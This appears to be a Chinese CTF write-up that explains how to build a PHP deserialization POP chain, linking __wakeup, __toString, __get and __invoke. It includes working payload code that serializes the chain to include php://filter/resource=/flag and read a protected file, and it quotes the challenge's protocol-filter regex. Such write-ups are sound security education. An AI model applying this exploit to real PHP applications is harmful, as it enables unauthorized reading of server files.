第一步:看到 include($value); 作为链尾,则要触发 append($value) -->>__invoke(),看到$function()。
__invoke():对象以函数形式被调用时触发
第二步:$function() ,则要触发 __get($key),看到 $this->string->page
__get():对不存在、不可访问的变量进行赋值就会自动调用
第三步:$this->string->page(重点) ,则要触发 __toString(),看到 preg_match
使 $this->string 为 Make_a_Change 的一个对象,则这个对象的类里面没有page这个变量,则会触发__get()。
__toString():对象被当成字符串时被调用
echo,print,die,preg_match,strtolower,==
第四步:preg_match,则要触发 __wakeup(),而原文中有 unserialize(),不用管。
<?php
class Road_is_Long{public $page;//4 public $string;//3 Make_a_Changepublic function __construct($file='index.php'){$this->page = $file;}public function __toString(){return $this->string->page;}public function __wakeup(){if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {echo "You can Not Enter 2022";$this->page = "index.php";}}
}class Try_Work_Hard{protected $var="php://filter/convert.base64-encode/resource=/flag";//1 shellpublic function append($value){include($value);}public function __invoke(){$this->append($this->var);}
}class Make_a_Change{public $effort;//2 Try_Work_Hardpublic function __construct(){$this->effort = array();}public function __get($key){$function = $this->effort;return $function();}
} $a=new Try_Work_Hard();$b=new Make_a_Change();
$b->effort=$a;$c=new Road_is_Long();
$c->string=$b;$d=new Road_is_Long();
$d->page=$c;
echo urlencode(serialize($d));
?>
要点:
1.在弄pop链时,只在变量上表明步骤。通过标注来写过程。
2. 有特殊的成员变量时,最后要urlencode()。
3.对于第三步和第四步要分开赋值。
$c=new Road_is_Long();
$c->string=$b;$d=new Road_is_Long();
$d->page=$c;